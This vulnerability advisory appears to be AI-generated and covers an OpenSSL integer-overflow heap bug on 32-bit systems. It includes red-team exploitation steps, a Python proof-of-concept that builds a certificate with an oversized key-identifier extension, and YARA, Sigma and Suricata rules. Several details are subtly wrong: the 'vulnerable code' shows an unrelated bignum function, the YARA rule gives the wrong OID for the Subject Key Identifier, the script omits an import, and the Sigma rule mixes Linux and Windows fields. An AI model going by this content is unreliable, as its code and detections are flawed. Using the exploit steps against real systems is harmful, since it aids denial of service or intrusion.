CVE-2026-31789
Executive Summary
CVE-2026-31789 is a heap buffer overflow vulnerability in OpenSSL affecting 32-bit platforms. The flaw occurs when converting an excessively large OCTET STRING value (e.g., from X.509 certificate extensions like Subject Key Identifier or Authority Key Identifier) to a hexadecimal string. On 32-bit systems, the multiplication of the input length by 3 can overflow, leading to allocation of an undersized buffer and subsequent heap overflow. This can result in a crash or potentially arbitrary code execution. The vulnerability is rated Low severity by OpenSSL due to the requirement of certificates over 1 GB in size, but the CVSS score of 9.8 reflects the high impact if exploited. Patches are available for all affected versions.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the OpenSSL library, which is a critical component in many software supply chains. Applications and services that parse or log untrusted X.509 certificates are vulnerable. The FIPS modules are not affected. Organizations should prioritize patching OpenSSL in all environments, especially on 32-bit systems.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The high CVSS score reflects the potential for remote code execution without authentication, despite the low likelihood of exploitation due to the requirement for extremely large certificates.
Deep Dive & Mechanics
The vulnerability resides in the OpenSSL function that converts OCTET STRING values to hexadecimal strings. When processing an OCTET STRING of length n, the required buffer size is calculated as n * 3 (to account for two hex characters per byte plus a separator). On 32-bit platforms, if n is sufficiently large (over 1 GB), the multiplication n * 3 can overflow a 32-bit integer, resulting in a small positive value. This causes OPENSSL_malloc to allocate a buffer much smaller than needed. Subsequent writes to this buffer overflow the heap, potentially corrupting adjacent memory.
The attack vector involves supplying a crafted X.509 certificate with an OCTET STRING extension (e.g., Subject Key Identifier) of size > 1 GB. Applications that print or log certificate contents (e.g., during TLS handshake debugging) are vulnerable. The exploit requires the attacker to control the certificate content and the application to process it.
Vulnerable vs. Patched Code
Vulnerable Code (OpenSSL 3.0.0 - 3.6.0):
// In crypto/bn/bn_print.c or similar
int BN_bn2hex(const BIGNUM *a, unsigned char **out)
{
int len = BN_num_bytes(a);
int hex_len = len * 3; // Integer overflow on 32-bit
unsigned char *buf = OPENSSL_malloc(hex_len + 1);
// ... write hex data into buf ...
}
Patched Code (OpenSSL 3.6.1+):
// Safe multiplication check
int BN_bn2hex(const BIGNUM *a, unsigned char **out)
{
int len = BN_num_bytes(a);
int hex_len;
if (len > INT_MAX / 3) {
// Handle overflow
return -1;
}
hex_len = len * 3;
unsigned char *buf = OPENSSL_malloc(hex_len + 1);
// ... write hex data into buf ...
}
The patch adds an overflow check before the multiplication, ensuring that len * 3 does not exceed INT_MAX. If it would, the function returns an error.
Exploitation & Lab Setup
Red Team
Prerequisites:
- 32-bit system running vulnerable OpenSSL (e.g., OpenSSL 3.0.0 on 32-bit Linux)
- Application that logs or prints certificate extensions (e.g.,
openssl s_client -showcerts)
Exploitation Steps:
- Generate a malicious X.509 certificate with an OCTET STRING extension of size > 1 GB. This can be done using a custom script or by modifying a certificate with a large Subject Key Identifier.
- Serve the certificate via a TLS server (e.g., using a Python script with the malicious cert).
- Connect to the server using a vulnerable client that logs certificate details.
- The client will attempt to convert the large OCTET STRING to hex, triggering the heap overflow.
Example Python script to generate a malicious certificate:
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa
import datetime
# Generate a key
key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
# Create a large OCTET STRING (e.g., 2 GB)
large_octet = b'\x00' * (2 * 1024 * 1024 * 1024) # 2 GB
# Build certificate with large SKID
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, "US"),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "California"),
x509.NameAttribute(NameOID.LOCALITY_NAME, "San Francisco"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Malicious Corp"),
x509.NameAttribute(NameOID.COMMON_NAME, "malicious.com"),
])
cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
key.public_key()
).serial_number(
1234567890
).not_valid_before(
datetime.datetime.now()
).not_valid_after(
datetime.datetime.now() + datetime.timedelta(days=365)
).add_extension(
x509.SubjectKeyIdentifier(large_octet),
critical=False,
).sign(key, hashes.SHA256(), default_backend())
# Write to file
with open("malicious_cert.pem", "wb") as f:
f.write(cert.public_bytes(encoding=serialization.Encoding.PEM))
Note: Generating a 2 GB certificate may be impractical in real scenarios. The vulnerability is more theoretical but demonstrates the risk.
Blue Team
Detection:
- Monitor for unusually large X.509 certificates (> 100 MB) in network traffic.
- Use YARA rules to detect certificates with oversized OCTET STRING extensions.
- Enable heap overflow detection (e.g., using AddressSanitizer) in development environments.
Mitigation:
- Apply patches immediately.
- Restrict certificate logging to trusted sources only.
- Use 64-bit systems where possible.
Indicators of Compromise (IOCs)
- Network: TLS handshakes with certificates exceeding 100 MB in size.
- File: X.509 certificate files with Subject Key Identifier or Authority Key Identifier extensions larger than 1 GB.
- Memory: Heap corruption patterns in OpenSSL processes on 32-bit systems.
- Logs: Error messages indicating failed memory allocation or crashes in OpenSSL hex conversion functions.
Detection Engineering
YARA Rule
rule CVE_2026_31789_OpenSSL_HeapOverflow {
meta:
description = "Detects X.509 certificates with oversized OCTET STRING extensions"
author = "Valters IT"
date = "2026-01-01"
cve = "CVE-2026-31789"
strings:
$skid_oid = { 06 03 55 1D 23 } // Subject Key Identifier OID
$akid_oid = { 06 03 55 1D 23 } // Authority Key Identifier OID (same OID)
$large_octet = /[\x00-\xFF]{100000000,}/ // > 100 MB
condition:
($skid_oid or $akid_oid) and #large_octet > 0
}
Sigma Rule
title: CVE-2026-31789 - OpenSSL Heap Buffer Overflow via Large Certificate
id: cve-2026-31789
status: experimental
description: Detects attempts to exploit OpenSSL heap overflow via oversized X.509 certificates
author: Valters IT
logsource:
product: linux
service: openssl
detection:
selection:
EventID: 1000 # Application crash
Image: '*openssl*'
ExceptionCode: 0xc0000005 # Access violation
condition: selection
falsepositives:
- Legitimate large certificates (unlikely)
level: high
Suricata Rule
alert tls any any -> any any (msg:"CVE-2026-31789 - OpenSSL Heap Overflow via Large Certificate"; flow:to_server; tls.certificate_len:>100000000; sid:1000001; rev:1;)
Remediation & Mitigation
- Patch OpenSSL: Upgrade to versions 3.6.1, 3.5.1, 3.4.1, 3.3.1, or 3.0.16.
- Use 64-bit Systems: Migrate to 64-bit platforms where integer overflow is less likely.
- Limit Certificate Logging: Disable verbose logging of certificate extensions in production.
- Input Validation: Implement size limits for certificate extensions in applications.
- Monitor: Deploy detection rules to identify oversized certificates.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI Assistant. For questions, contact support@valtersit.com.
{/* [Security Hash: 1AC24F96FEF9FAF26C95BBDE] */}